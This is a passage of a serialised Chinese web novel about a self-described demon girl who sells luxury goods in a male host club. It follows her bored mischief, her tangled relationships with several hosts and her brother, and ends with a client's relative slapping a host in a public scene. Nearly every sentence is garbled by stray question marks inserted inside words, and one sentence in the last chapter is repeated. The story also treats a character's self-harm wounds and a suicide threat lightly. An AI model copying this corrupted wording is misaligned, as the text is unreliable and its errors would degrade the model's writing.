“哥,你?觉得?他是不是很像以前家里的?小黄。” “不像。” 我不服,继续说道:“明明很像啊,它们的?眼?睛是一样的?。” “……他是人。”哥哥说,“人是不会像狗的?。” 栾明是个毫无?想?象能力的?人类,明明考上大学?了,为什么不知道比喻呢,他可能是读书读傻了。 于是,我起了坏心眼?:“哥哥也像狗,哥哥像小花。” 小花是小黄的?妈妈,是家里狗群的?老大,平时总在后面看着?其他狗狗亲近人类,等它们看到意?思?的?事跑开后,才慢慢地?摇尾巴靠近我们。 哥哥凝着?我,没?有反驳,嘴角忽然浮现?出一丝笑意?,“那小冬像什么?” “我是人啊。”我说,“人是不会像狗的?。” 电视机播放着?主角一家人搬进新家的?场景,每个人脸上洋溢着?喜悦,开开心心地?坐在一起吃饭。 我想?了想?,说:“我要带你?和浦真天搬到大房子里,走到哪里都带着?。” 我牵着?他卫衣上的?抽绳,摇来晃去,假装抓住两只蛇,用它们吓唬他,但他紧皱着?眉,在想?别的?事,完全没?注意?到我把“蛇”比在他面前。 左一只,右一只,对准他的?脸颊,忽然想?到邛浚脸上的?痣,就是这样一左一右。 “……想?要只有我们两个人。”哥哥说。 “迟早有一天我们要搬出去,不能一直麻烦他。” 他盯着?电视机,继续说道:“他有自己的?家人,需要照顾的?人很多,不是能够走到哪里带到哪里的?小狗,不要总是觉得?他很弱,他已经27岁,是个有生活能力的?成年?人了,总有一天会回到自己的?家人身边,就算他不回去,也会在外面成家立业……小冬,他有自己的?家人。” “但是我们不一样,我只有你?,你?也只有我了。” “我们还有很多亲戚呢。” 人类的?家族观念很奇怪,只要涉及血缘都可以被称作是家人,但又会在某个瞬间什么关系也不算,比方说借钱的?时候。 哥哥拧着?眉重复道:“不一样。” “他们才不是家人。” “只有我们才是家人,谁也不能加入。” 说完,他抿了下唇,握着?我的?手反复摩擦,语气认真地?说:“小冬,家是我们两个组成的?,不包含其他人。” 我实在搞不清人类血缘关系、家来家去那套,只想?知道他非常地?执着?把浦真天剔除在外,我也无?所谓,于是点点头,认同了他的?说法。 说起来也巧。 哥哥说这句话的?时候,棉花糖的?气息飘进我的?鼻子里。 我看向门口,哥哥也看了一眼?,他回过头,脸上没?什么表情,起身走进厨房里,端出放在冰箱里的?饭菜。 又过了很久,一部电影走到尽头,主角达成包饺子结局,原谅了反派,所有人载歌载舞,音乐也十分热闹欢快。 浦真天推开门。 他鼻尖泛红,自顾自地?说外面很冷,没?想?到现?在忙完。 哥哥提示说桌上有饭,他一如既往地?笑着?来到桌前,认认真真吃完饭,夸赞手艺不错。 一切如常,没?有任何?变化?。 我透过窗户看见外面簌簌下落的?雪,其他公寓同样亮着?光,黄色方块此起彼伏。 即使下雪,室内依旧温暖如春。 大雪落地?,聚拢、融化?最后流进下水道。 手机屏幕亮起霍亦瑀的?好友验证,我舒舒服服地?窝在沙发里,我有预感,以后会有更有趣的?事发生—— 作者有话说:一直在修文,怎么这么慢啊(哭) 第54章 有?趣的事?迟迟没有?发?生, 接下?一周的时间非常平淡,除了宗朔爱往办公室跑、拉着我?打游戏之外?,生活平静得像一潭死水。 我?每天定时给霍亦瑀发?消息,抄送网络经典句子, 不过因为?他有?事?出?国, 隔着8个小时。时差回复, 等他回复的时候,我?已经睡着了。 不过他说好了,下?次回国请我?出?去玩。 除此之外?,我?的事?业进行速度逐渐缓慢, 因为?奢侈品不是必须品,男公关的消费力?度已经饱和,别?问我?怎么知道这个词, 都是合作伙伴邛浚胡诌告诉我?的。 他最近不知道在忙什么,偶尔发?来一张照片表示自己还活着。 业绩平平,我?也对卖货兴趣减淡,想着去其他男公关扩展业务, 但宗朔说他们?是竞争对手,想进去卖东西得分利益才行,我?让宗朔通知整个街道,他呵呵一笑, 接着回去打游戏。 像他这样没志向的人, 怎么就遇上了有?志向的我?呢? 至于另一个商机, 邛浚没告诉我?具体的赚钱过程, 只是偶尔打来一笔钱,告诉我?是分成。 我?觉得有?些男公关歪瓜裂枣,能?包出?去就已经很不错了, 也没指望分多少,但结果?令我?惊讶,数量竟然还不错。 总之,我?的生活十?分平静舒适。 但。 我?对着屏幕叹气,顺手放出?技能?,迎来队友叽哩哇啦的尖叫声,“真平静啊……太平静了。” 耳边传来剧烈的爆炸声。 宗朔啧声狂点鼠标,目光直直地看着屏幕,“你?看后面,等会有?人偷袭——” 我?慢悠悠地转过头,果?不其然被击毙了,其他队友吓得放了个雾,宗朔骂声不停,最后只剩他一挑三,被顺利击毙。 看着屏幕上硕大的“失败”两字。 我?发?出?今天的第?9次感慨:“真平静啊。” 宗朔:“到底在平静什么?” “这么激烈的枪战,你?心里的死水不能?动一下?吗?” “我?是说生活太平静了。” 我?觉得自己像个挠不到背部痒痒的胖猫,浑身不得劲。 我?转头问他:“你?不觉得很无聊吗?” 他挑眉看我?:“想做了?” “不是、哎,也行。” 我?摸着下?巴,还是浑身不得劲,但找不到源头,现在什么都有?,到底哪里不爽呢?以前的我?可想不到过上好日子还会不爽。 太平淡,总觉得很无趣啊。 我?丢在鼠标,扑进宗朔怀里,逮着他一顿咬,把他当磨牙棒整。 他扬起脖子往后,被我?咬得抽气,用手卡着我?的腮帮,质问:“你?得狂犬病了?” “我?的背痒,你?给我?挠挠。” 他伸手给我?抓,但始终不得劲,于是我?推开他,在铺在地上的毛毯上滚来滚去,思绪放空才能?摆脱骨头里往外?冒的痒意。 这股痒意在骨髓里沸腾,缠绕着脊椎,又像是不存在于身体里,而是从灵魂深处产生的。 “到底哪里不舒服?” “钱包。”我?双眼无声地说,“我?的银行账号很不舒服。” 宗朔嗤笑一声,懒散地说:“你?是活得太好皮痒了,折腾你?的购物小角落去吧,昨天买的贴纸你?还没拆。” “你?帮我?。” 他哼了一声,将我?从地上薅起来,放进办公椅里,“自己弄。” 我?的脚踩在他大腿上,推搡了一下?:“宗朔你?变了,你?以前不会拒绝我?的。” “知道就行。” 他把地上的贴纸包放在我?的腿上,“给你?找点事?做,让你?不无聊。” “但是我?不想做这种事?。” 他看着我?,问:“那你?想做什么?” 我?动了动嘴唇,胸腔中涌动着不知名的情绪,我?想做什么?我?想看人打架,想看复杂的情绪翻腾,想看血液飞溅,想看刺激的、沸腾的高潮情节…… 某种恶劣的情绪蠢蠢欲动,比以往任何时候都要强烈。 属于恶魔的另一部分想要破体而出?,大概是因为?又凝实了一点,让我?又开始蠢蠢欲动。 或者?……我?歪头看着宗朔,是因为?做得频率不够吗? 视线从他唇、脖颈滑到锁骨。 视线相?触,他抬手按住我?的后脑勺,但吻还没有?落下?来,门被砰砰拍响。 我?立马弹开,鼻尖在接触到熟悉的甜味时整个人愣住,又是一阵意想不到的无语。 有?趣的事?还没发?生,大型苍蝇倒是回来了。 宗朔喊了声“进”后,房门打开,过去几周终于重新露面的人站在门口,后面还跟着西装革履的他哥的助手。 泉卓逸叮铃咚隆地走了进来,视线落在我?身上,苍白的脸上有?了血色,抬起手挥了下?,然后臭着脸让开位置。 他哥的助手抱着一堆文件,推了下?眼镜,“宗老板,之前说好的事?……” “知道了。” 宗朔把贴纸包塞进我?怀里,头也不抬:“去你外面的窝。” 我?凑近他耳边:“今天晚上看情况。” 他睨了我?一眼,似笑非笑,视线扫过泉卓逸,松开领口,含糊不清地嗯了声。 我?穿上鞋子,抱着贴纸包往外?走,刚走出?办公室,大苍蝇就黏了上来。 他不说话,跟着我?走到一楼大厅,角落里的沙发?被我?改造一番,变成了小吧台,后面的玻璃柜里摆放着油光闪闪的奢侈品。 我?坐进吧台后的沙发?里,泉卓逸也坐下?了,紧挨着我?,腿上的装饰品硬得硌人。 他看着我?摆弄贴纸包,半晌后才憋出?一句话:“你?没什么想跟我?说的吗?” 我?想了下?,说:“……欢迎回来?” “为?什么是问句?”泉卓逸的刘海长了些,显得整个人更像是最近流行的亚比,咬得唇环咔咔响。 他憋着股劲:“难不成你?不想我?回来?” “你?哥说要我?们?离你?远点。” “他的屁话你?也听,那个家伙现在跑出?来说亲情你?不觉得好笑吗,说到底也只为?了名声而已。” 我?:“可你?当男公关本来也没有?名声啊。” “……在他看来,我?自杀才是最影响名声的。” 泉卓逸抬起我?的手,绿色的眼睛紧盯着我?,眉压眼有?点凶狠,但他撇着嘴,精致的五官流露出?可怜气息,“我?告诉他,如果?他不让我?回来,我?就死给他看,耗了快半个月才跟他掰扯清楚。” 他抬手时卫衣滑脱一截,露出?绑着绷带的小臂,我?又去看另一支手,果?不其然也绑着绷带。 他注意到我?的视线,扯开领口,颇为?骄傲地说:“给你?看看我?的战绩。” 脖子也缠着绷带,再往下?遍布着正在愈合的伤痕,他又瘦了点,胸膛像是鸽子笼,好在肌肉还在,不至于像把骷髅。 看着看着,我?不禁有?点嫌弃:“你?的胸好小。” “?” 泉卓逸抓住我?的手,咬牙切齿地说:“我?差点死了你?知道吗?怎么可能?锻炼啊。” “……反正,我?会养回来的。” 他咕哝一声,抬眼看向我?,唇角的弧度压下?,手指冷得像块冰。 沉默了会,他陡然开口:“为?什么不是浦真天。” 我?任由他拉着,室内的暖气很足,身上溢散出?热气,全部被他冰冷的手指汲取走。 浦真天。 一周前的休息日后,他依旧表现如常,哥哥也是,只不过他们?好像闹矛盾了,只要我?不在的时候,他们?鲜少交流,这件事?还是荣小晓告诉我?的。 为?什么不选他。 因为?他想跟我?玩真的。 我?想了想,说:“他比较保守。” “保守?” 泉卓逸像是听到了什么天大的笑话,嗤笑一声,“他哪里保守了?像他这种比牛还笨的人,不是别?人让他做什么就做什么的吗?他肯定是在欲擒故纵。” 说完,他皱着眉,越来越无法理解,“都来做男公关了,他在保守什么。” “之前有?个男公关说他染粉色好看,他立马就去染了,告诉他穿红色西装好看,他也屁颠颠地去了。” “他难道不是别?人说什么就做什么的蠢货吗?什么时候有?自己的主见?了。” 泉卓逸不屑地说:“要不是我?直言不讳,告诉他穿得又丑又土,他一辈子都会被人蒙在鼓里。” 我?想起浦真天愁眉苦脸的那段时间,恍然大悟:“原来你?就是那个和他关系不好的同事?。” “谁想跟他关系好了。” 他冷笑道:“没人想和一个蠢货玩。” “也不知道你?看上他什么。” 我?诚实地说:“他身材好,胸大。” “……我?也能?练。”泉卓逸顶了下?腮帮,眉间堆满了郁气,“你?跟宗朔……算了,你?不准无视我?。” 他非要把头放在我?的腿上,手臂死死地环抱住我?的腿,像两根梆硬的藤蔓,闷声道:“你?想要谁都可以,但是不准无视我?。” 不知道做了什么项目,他的头发?像是丝绸一样滑溜,我?好奇地摸来摸去,稍不注意扯掉几根,他也不吭声。 “那个麦景还在这里吗?” “在。” 说起麦景,我?不由纳闷:“他明明长得也可以,为?什么业绩一直上不去呢,真奇怪,也没迟到了,就是没什么人点他。” “不会说话呗。”泉卓逸幸灾乐祸地说,“不能?给客人提供情绪价值,当然卖不出?酒了,他业绩差成那样,不如把他赶出?去,让他去别?的店里做间谍。” 我?思考着这个说法的可行性。 麦景是从外?面来的,说不定在外?面能?赚钱。 而且当间谍诶,听起来好玩。 我?脑子一动,起了歪脑筋,凑近泉卓逸耳边,悄悄说:“你?去跟他说,让他去其他店,就说是我?说的。” 泉卓逸盯着我?看了两秒,嘴边漾起笑,眉骨钉闪闪发?光,“你?不怕他发?疯?” 他要发?疯才好玩啊。 抵达上班时间,不少客人从门口走进,我?拍了拍泉卓逸,让他离开我?的腿。 不知道是不是在医院维修过脑子,他看上去精神比以前好,至少现在十?分坦然地走开,没有?大吵大闹,非要我?关注他的一举一动。 又过了一会,泉卓逸他哥的助理走出?办公室,宗朔脸色微沉,对我?说今天晚上没空,让我?去找泉卓逸折腾。 我?一头雾水,不明白他为?什么生气,猜想是泉卓逸他哥又搞了什么事?,不过没关系,又没有?整到我?身上。 我?时刻观察着泉卓逸和麦景的动向,躲在吧台后面想看好戏,等下?班时刻,泉卓逸果?然主动叫住麦景,两人交谈了一阵,都是一副拽脸,说着说着,泉卓逸倒是先生气了,冷着脸推了一把麦景,然后两个人打了起来。 你?一拳我?一拳,非常精彩! 宗朔立马出?来主持大局,黑沉着脸隔在两人中间,数落一阵后,拉着泉卓逸往外?走。 我?看到他身上的绷带松散开,大概是旧伤复发?了,不过他丝毫不在意,任由血液从手指滴下?,离开前朝我?的方向看了眼。 麦景留在最后,径直朝我?走来。 他垂着头,丝毫没有?打架时的锐气逼人,“小冬,你?想让我?离开吗?” “我?只觉得你?可能?不适合这里。” “……我?会努力?的。” 他的嘴角多出?一块淤青,刚才打架时,虽然泉卓逸比不过他,但身上暗器太多,造成不少擦伤。 我?招招手,他顺从地低下?头。 我?戳在他的伤口上,好奇地问:“疼吗?” “不疼。”他说。 我?瞬间失去兴趣,把他的头揉来揉去,直到他露出?茫然的表情才松开手,“你?走吧。” 麦景站在原地又盯着我?看了会,才慢吞吞地离开,背影孤零零的。 回到家,哥哥给我?铺好床,把床单换成毛绒绒的款式,给我?准备好第?二天要穿的衣服后,在我?的房间里坐了会才出?去。 我?再次感到无聊。 埋在毛绒绒的被窝里,竟然感觉浑身不得劲,不像以前那样惬意,总觉得少了点什么。 我?无聊地划拉聊天界面,挨个回复所有?人,看到泉卓逸发?来的照片,兴致平平地点评:看上去不太雅观,像排骨。 他瞬间炸毛,说明天要开始吃蛋白粉。 我?继续翻看其他人,除了朋友们?说要放假之外?,没什么特别?的。 我?甚至点开了柯觅山的动态,窥探他在做什么。 依旧风平浪静,依旧装逼。 即使上次和他妈包。养的男公关起冲突也没能?撕开社交假面。 平静的生活里每个人都衣冠楚楚,像是蚌壳里的珍珠,忍受着沙粒的折磨,一声不吭继续地生活。 当然,以上这句话不是我?想出?来的,是我?抄送给霍亦瑀的伤感句子。 像他这样的有?钱人,肯定像小说里写的那样爱独自舔伤口,心里藏着一个小男孩。 我?躺在床上搜索伤感语录,顺手发?给霍亦瑀,然后像写日记一样记录琐事?。 翻看之前的聊天记录,他挨个回复了我?,不过因为?八个小时。时差,我?压根没看他的回复,继续把他当备忘录,继续记录生活。 实在没什么玩的,我?关上手机试图睡觉。 可身体里那个躁动,翻来覆去怎么也酝酿不出?一丝睡意,最后愤愤地爬起来,跑到客厅里接水喝。 结果?正好撞上浦真天,他从门外?进来,带进一身寒气,手机屏幕的光熄灭,只剩下?寂静的黑。 “小冬?” 他有?些惊讶,黑暗中五官模糊,只能?看出?大致的形状,“你?还没睡啊。” “睡不着,我?来接水喝。” “明子睡了吗?” 我?朝沙发?的方向看了一眼,也不清楚他到底睡没有?睡,每次我?和浦真天说话,他总能?知道。 我?:“二分之一睡了。” 至少呼吸是平稳的。 “……那我?轻点。” 他缓步行动,高大的身躯轻手轻脚克制地往屋里走,不小心发?出?一点声音立马警惕地朝沙发?处看去,活像只半夜偷吃的老鼠。 以前的房子里闹过老鼠,不过因为?只有?烂菜叶偷,闹了一天就灰溜溜地跑进邻居家了。 我?捧着水杯观察他,嗅到了一丝苦涩的气息。 他走进洗漱间,我?也跟了过去,当他的视线穿过镜子和我?对视时,表情恍惚一瞬,有?些紧张地摸了摸后脖颈,问:“怎么了?是、是有?什么事?吗?” 按照以往,我?是不会关注他的心情变化的。 但今天晚上,我?罕见?地当了一回关照他人的好人,问:“你?在难过吗?” “……没有?啦,我?怎么会不开心呢。”他傻笑逃避话题,拿起牙刷堵住嘴,视线时不时穿过镜子看我?。 等他洗漱完,躲无可躲时,才叹了一口气。 “只是一点小事?。”他说,“很快就能?解决。” “和哥哥有?关吗?” “嗯?” “你?和他吵架了吧。” “……嗯。” 浦真天垂着头,发?丝又褪去黑色,在灯光下?泛着温暖的棕。 “我?们?之间有?点误会,但是说开就好了,等哪天,我?再找他聊聊就好了。” 不知道是在安慰我?还是在安慰自己,他宽慰道:“只是一点小事?,不会影响我?们?的感情。” “那天你?听到了吗?” 我?盯着他说:“哥哥告诉我?的话,你?听到了吗?” 他迅速回答:“没有?。” “我?……我?当时在门口打电话,没听见?你?们?说话。” “哦。”我?仔细地观察他的表情,察觉到他不自然地吞咽唾液,躲避着我?的视线。 他在掩饰,像所有?努力?揭过问题的人,只要视而不见?就能?够继续下?去。 “不要再躲了。” 浦真天茫然地看着我?。 “哥哥说你?不是我?们?的家人。”我?直白地说,“你?不用装作没听到,如果?你?下?次再找他聊,他也会是同样的回答。” “……” 浦真天勉强抬起唇角,泄露出?沉甸甸的疲惫,“我?知道,我?只是觉得……他、他说得对,我?们?本来就不是亲人,更何况我?的家里——嗯,我?知道明子的想法,他这样说我?完全能?理解。” “毕竟你?们?一起长大,我?和你?们?也不过短短一年而已。” “而且……我?还做了让他生气的事?。” 浦真天垂头丧气,头发?似乎也焉了下?去,“有?你?们?在身边就已经很好了。” 他的声音越来越小,呢喃般说:“……我?不是个好哥哥。” 即使是痛苦,他的痛苦也显得毫无棱角、十?分柔软。 他的身上再次浮现出?局促的情绪,撑在洗漱台边缘的手捏紧,像是在忍耐着。 “我?还是很喜欢你?。” 我?说:“下?次你?很难过可以找我?。” 浦真天表情愣怔,半晌没有?反应过来。 我?盯着他看了会,忽然泛起困意,于是等他洗漱完,我?踢踏着拖鞋回到卧室,到了门口,浦真天不知道为?什么也跟了过来,被我?发?现时,局促地站在原地。 我?:“晚安。” 他慢了半拍,声音浸润在某种起伏的情绪中,艰涩地说:“晚安。” 第?二天起床时,我?的枕边不知何时多出?只微笑的小熊。 它安静地靠在枕边,手里捧着一颗爱心,笑容憨态可掬—— 作者有话说:搞事,我们要搞事,搞事才快乐 算算时间,也该虐学哥了(熬制中) 本作者又该梳理情节了,后面让小冬进军娱乐圈如何(专业对口)(黑料溢出) 第55章 下午我准时上班, 准备打?几把游戏缓解无聊。 游戏刚启动,宗朔推门而入,人还没坐下,嘴里先蹦出一个好消息。 “这条街的男公关店起火了。” “什么意思?” 他?睨了我一眼:“字面上的意思。” 起火了, 也就是?意味着我们的竞争对手遭受严重打?击, 我们的业绩又要?上去了, 也就意味着[极乐世界]成为唯一指日?可待。 我眼睛一亮,毫不?怀疑,兴高?采烈地说?:“那很好啊,今天的客人应该会很多吧。” “……” 宗朔:“行。” 他?开机上号, 跟我一起并排着打?游戏。 打?着打?着,他?忽然问我在学校时候的事?。 “你和麦景是?什么时候认识的?” “高?一啊。” “嚯,这么早。” “学校那么多人, 你就偏偏看?上他?了。”宗朔意味不?明地说?,“眼光挺独特。” 一时半会不?知道他?在骂麦景,还是?单纯说?我眼光不?好。 的确,麦景的销量甚至比不?上店里的平均数, 但至少也没有提供负业绩啊,我看?了,有几个还挺好他?这一口的,指定他?在旁边坐着当花瓶。 刚打?完一局, 办公室门口来了个男公关, 遮掩不?住眉飞色舞, 语气兴奋地跟宗朔说?有大客户来了。 宗朔抬起眉毛, 脸上闪过一次诧异,我好奇地往门外张望,还没看?到人, 先看?到一群黑衣服的男公关,围成一团在讲话。 宗朔穿上外套往外走,我赶紧跟上,他?瞥了我一眼,没说?什么。 拨开人群,走近一看?,我不?由睁大眼睛,好熟悉的脸,好熟悉的男人! ——这不?是?柯觅山的母亲和她包养的男公关吗? 我戳了戳宗朔,小声地说?:“客人叫什么名字啊?” “柯谷菱。” 他?简洁地说?完,走上前去和那位穿着雍容华贵的中年女性。交谈,因为保养得很好,眉目间能够看?出柯觅山的影子,一模一样的温润尔雅,嘴角含笑?,宽容地任由旁边的男人在她耳边窃窃私语。 今天这位男公关穿着一身白色西?装,手上的鳄鱼皮包晃得扎眼,指间钻戒在灯光下熠熠生辉,引得旁边男公关们羡慕不?已。 他?的脸蛋光滑,像是?剥壳的鸡蛋,目光流转隐约透露出得意。 “郭苑就是?命好,手上那个钻戒好像有一百万。” “是?不?是?太张扬了点,我记得他?金主家里还有个比他?小几岁的儿子,这么玩,真不?怕被搞死啊。” “到底看?上他?什么了,脸上玻尿酸都要?挤出来了。” 耳边的议论声越来越酸,我也越听越熟悉。 郭苑。这个名字好耳熟。 但想了半天没想起,我挪到旁边,继续打?量这位客人和她的保养男。 但他?们才说?了几句话,便打?算上到二楼,期间郭苑张望四周,有几个男公关跟他?打?招呼,他?假笑?地回应,又看?向别处,像是?在找什么人。 旁边的柯谷菱笑?容温和,仿佛毫不?在意周围的目光,跟着宗朔上到二楼。 等二人从视线里消失后,我还是?没搞懂一件事?。 为什么有男公关了还来男公关店?是?打?算来喝酒吗?也不?应该啊,这里的酒哪有高?级会所的好喝。 我摸摸下巴,难道她是?想换一个吗? 有钱人的想法我搞不?懂,我原以?为柯觅山他?妈会更喜欢到高?端些的、有钱人爱去的地方,结果?没想到两次见她,第一次是?在街边无人光顾的奢侈品店,第二次是?是?在这。 上次去的那个不?知道名字的地方,只看?到了她的小白脸和她的儿子,没见过她本人。 是?因为看?上男公关了,所以?显得品味比较低下吗……? 我试图揣测富人心?理,但压根琢磨不?透,于是?转头去看?其他?人。 富婆带着小白脸上二楼后,其他?男公关们心?不?在焉地散开,只剩几个仍然停在原地窃窃私语,停不?下来聊八卦,看?到我,他?们友善地笑?了笑?,纷纷离开原地。 一楼恢复正常后,泉卓逸来了。 他?直冲我而来,手里还提着袋子,我打?开一看?,发现是?增肌餐,网上那种精致死贵的东西?。 “好吃吗?” “好难吃。” 他?面无表情地打?开增肌餐,眉头微蹙,左边脸上多了块淤青,被他?用颜色跳跃的创口贴遮盖住,像是?一种装饰品。 牵动痛处,他?嘶了一声,抱怨道:“麦景就是个疯子,跟没有痛觉似的。” “而且这个傻屌不?知道打?架不?能打?脸吗?!浦真天都比他?懂事?!” 泉卓逸极其不?爽地说:“我看他压根不?想留在这当男公关,明明是?别有所图!” “你们半斤八两。” 我指着不远处的排名屏幕:“你已经掉出前十,不?再是?有名字的男公关了。” “你还记得你的艺名是?啥吗?” 被我问到的人哽了一下,嘴硬说?:“那是?因为我有事?,这个月我一定会重新回到前十。” “倒是?有些人该警惕了。” 泉卓逸哼了声:“浦真天那个最大的客人,最近可没怎么来店里。” 我十分诧异,这人不?是?一直在医院里,昨天才出来的吗? “你怎么知道?” “别人告诉我的。”他?往嘴里塞了块牛肉,眉头皱在一起,费劲地咀嚼着,“想看?他?倒下的人多得是?。” 我突然发现我和男公关之间有着不?可逾越的鸿沟,就像是?看?着饲养在圈里的鸭子群,我和养殖人员共情了,有一瞬间产生了惆怅感。 人和动物是?有沟通隔阂的啊。 即便是?我再观察,也没有办法融入其中。 我就这么在鸭子群里听着他?们嘎嘎嘎。 至于为什么是?鸭子,我从网上学到的,男公关和鸭子这种动物关联性极强,我偶尔登上[极乐世界]官号的时候,经常看?到评论里有“这不?就是?鸭子吗”的评论。 通常会有人解释男公关和鸭子的区别,简而言之,前一个卖艺,后一个卖肉,是?不?一样的。 我盯着泉卓逸看?了会,好奇地问:“你为什么这么关心?他?。” 他?被食物呛到,咳得撕心?裂肺,赶紧甩清关系:“我哪里关心?他?了,我明明是?担心?你好不?好!” 我十分不?解:“他?和我有什么关系?” “……行。” 他?再次哽住,眉头紧皱在一起。 “你不?是?住他?家吗?他?破产了,你和你哥怎么办……去我那住?也行,我也可以?买一套房子……”泉卓逸嘀嘀咕咕,眼睛微亮地思考,越想越觉得可行,甚至拿起手机看?起房源。 我按住他?的手机,得意地往后一指,“我现在可是?也在赚钱了,存钱打?算买大房子。” 他?朝后面的柜台看?去,面露疑惑,打?量着各式各样的奢侈品,迟疑地说?:“这是?你弄的?” “对啊。” 那些男公关其他?的说?了,怎么不?告诉他?最重要?的事?。 我大手一挥,从里面拿出几个包,又把付款码放在他?面前:“忘记告诉你了,我和邛浚合伙办的,你刚回来,给你打?个九点九折吧。” “……” 泉卓逸咬住唇环,眉眼下压,眼中闪过冷光,“那个贱货还欠我钱呢,上周还有脸问我身体?好没好,想给我推荐医疗保险。” “他?又有兼职了啊。” 我不?由佩服,感慨道:“像他?这种才该赚钱啊。” “明明只是?个暴发户的儿子。” 他?说?完啧了声,又皱起眉,往嘴里塞难吃的牛肉:“少跟他?牵涉在一起,他?家的情况很复杂……不?太干净。” 我瞬间来了兴趣,好奇地凑在他?身边,“哪里不?干净?” “身份。” 泉卓逸大概自己也搞不?清楚,努力回想着:“我也是?从我哥——呸,泉越泽那听说?的,他?之前说?过一次,我不?太记得了,大概就是?身份关系吧,他?家好像是?和另一边有接触,专门走灰色行业的。” 我作势思考,说?:“男公关不?也是?灰色行业吗?” 泉卓逸想要?反驳但又说?出来,只能努着嘴说?:“反正不?是?一样的。” “你也不?能因为他?兼职多就嫌弃人家,大家半斤八两,能赚钱就行咯。” 我拍拍泉卓逸的头,把收款码放在他?的眼前:“九九折。” 他?一脸不?爽地拿出手机扫了。 这是?近一周来最大的单子,我立马拿出塑料口袋给他?装奢侈品,系上蝴蝶结后放到他?身边,他?有点嫌弃,嘀咕着:“看?着像是?假货。” 他?大概是?被邛浚骗怕了,怀疑这怀疑那。 我把各种鸟语证明拍到他?脸上。 他?终于停下嘀咕,老实地坐在我旁边。 安静是?安静了,手脚没停过,一直往我身上缠,我嫌弃地推搡他?,和他?打?闹成一团。 忽然,门口传来窸窸窣窣的动静,我把泉卓逸按着,抬头往外看?。 一群穿着黑衣的、表情严肃的女人走进店里,把附近接客的D类男公关吓了一跳,紧张地上前询问来意。 不?知道说?了什么,男公关猛地转头,四处张望一番,没找到人,先让她们坐下。 泉卓逸从我手下挣脱,死皮赖脸地缠着我,甜蜜的香味萦绕在周围,比起昨天,他?的温度热和得不?像话,像一个源源不?断发热的火炉。 他?将下巴放在我肩膀上,浅浅地呼吸着。 我说?:“有客人来了,像是?来找谁的。” 泉卓逸头也不?抬,埋在我的颈窝处,黏黏糊糊地说?:“管他?是?谁,我不?想动。” 我把这块牛皮糖从身上撕了下来,拍拍他?泛红的脸颊:“清醒点,你要?上班,你要?重回前十。” 说?着,我去抓他?的手腕,他?疼得倒吸气,目光灼灼地看?着我。 “听话。” 绿色的眼睛泛起水光,遮盖住过于刺目的颜色,他?盯着我看?了会,点点头。 牛皮糖起身离开,我再次往外看?去。 那群穿着黑衣、气势惊人的客人连坐姿也十分端正,面无表情地避开男公关的接触,就这么坐着等人。 直到门口走进一个人,她们才转动视线。 麦景走了进来。 我疑惑地看?着D类男公关在他?耳边说?了几句话,紧接着他?便走向那群与众不?同的黑衣客人们。 在看?到数量众多的客人后,他?皱了下眉,拿起手机打?字。 片刻过后,门口来了个五大三粗的男人,朝着跟在座的客人们比了个手势,然后领着人往外走。 最后只剩下一个女士留在位置上,和麦景隔着老远坐着。 女士拿起酒水单,毫无表情地下单,周围的男公关们瞠目结舌,端来一瓶又一瓶的香槟。 开香槟塔时周围的人努力活跃氛围,但在座两人毫无交流,只是?默默地坐着,直到彩片落下,坐着的客人又点了一次香槟塔。 一次、两次…… 直到周围的男公关们表情麻木。 我看?得一头雾水,第一次见毫无交流获得业绩的情况。 客人敷衍地拿起酒喝了两口,然后像完成任务似的,拍拍衣服起身走人,留下满桌的酒和表情淡淡的麦景。 他?的业绩起来了! 以?一种极其诡异的情况! 我想了想,觉得世界上发生什么都有可能,于是?给他?发消息,恭喜他?赚到大钱。 不?远处的人低下头看?手机。 [麦景]:工资会打?进卡里 [麦景]:够吗? 我摸了摸下巴,也算不?准到底消费了多少。 [世界第一恶魔大人]:等会算出来才知道有多少 [麦景]:好 [麦景]:(乖巧.jpg) 他?用的是?系统自带的表情包,看?着憨不?拉几的。 以?前在学校里,我也鲜少跟他?用手机联系,大多数时候,他?都等在天台上,只有在中午的时候,我们会说?话。 他?比以?前更加沉默了,像一道湿润的影子沉默在暗处。 周围的男公关们盯着留下的香槟窃窃私语,有个人跟麦景搭话,说?了几句后便撤走桌上的酒,其他?人的视线仍然盘旋在附近。 大家仍然震惊于刚才发生的事?。 直到新的人走进[极乐世界]。 这是?今天晚上第三次引发震惊的人。 那是?一个衣着楚楚的男人,盛气凌人地迈进大厅,大声呵斥道:“谁是?天真?!” 音乐声继续着,在场所有人,包括刚刚坐下不?久的顾客们,纷纷抬头看?去。 旁边的男公关还没反应过来便被他?身后跟来的保镖抓住,在他?的质问声中,哆哆嗦嗦指向二楼。 保镖猛地推开他?,紧跟着盛气凌人的男人往楼上冲去。 我眼睛一亮,也跟着跑上二楼。 好几个男公关跟了上来,一边惊慌一边想看?热闹。 刚走上二楼,我便听到一声响亮的巴掌声。 二楼从来没有如?此热闹,包厢的门被保镖推开,陌生男人扯着浦真天的衣领,抬起手又扇了过去。 他?冷笑?一声,充满戾气地说?:“一个男公关敢勾引我二姨,你真是?脸都不?要?了!”—— 作者有话说:男公关只是天龙人play的一环,越写越搞笑,我对剧情的把控为zero(0)(0=无穷)(无穷=0) 打完男公关,浦大概或许可以上桌(大扔子) 第56章 这声呵斥在二楼的走廊里空洞地回荡, 壁灯的光线将两人照亮,浦真天身形高大,但?对面有两个人,他只有一个人, 承受着四面八方涌来的视线。 脸上那道新鲜的血痕被照得发亮。 浦真天偏着脸, 舔了下嘴角的血丝, 垂着眼?帘,客气地说:“请问你的二姨是哪位?” “给你花了几百万,被你勾得不管家里的那位!” 男人冷笑?着,目光扫过四周, 忽然定在旁边那扇虚掩的包厢门上。他猛地松开钳制浦真天的手,“别再给我二姨发消息,当个陪酒的就老老实实陪酒。” 他的怒气来得快, 去得也快,仿佛刚才的生气只是错觉,此刻正慢条斯理地整理着微皱的袖口。 浦真天沉声回答:“……我知道了。” 我能感受到周围看客身上散发出的、无声涌向他的躁动恶意,而?他只是垂着头, 用指节擦过唇角,那张惯常温和的脸上此刻像戴了一张冷硬的面具。 等气氛冷却,旁边的包厢门被推开。 待气氛稍稍冷却,旁边的包厢门被完全推开。 宗朔抱着手臂走出来, 唇角挂着一丝若有若无的笑?意, 那男人见状, 立刻微微颔首:“抱歉, 给你们惹麻烦了。” “最近家里闹得不太平,我眼?里揉不得沙子,刚好顺路, 想着亲自来一趟解决麻烦,你知道的,心里有疙瘩睡觉也不安生。” “当然没问题。”宗朔的视线轻飘飘地掠过仍低着头的浦真天,轻描淡写地说,“客人最大嘛,[极乐世界]店大人多,做生意难免有疏忽。” 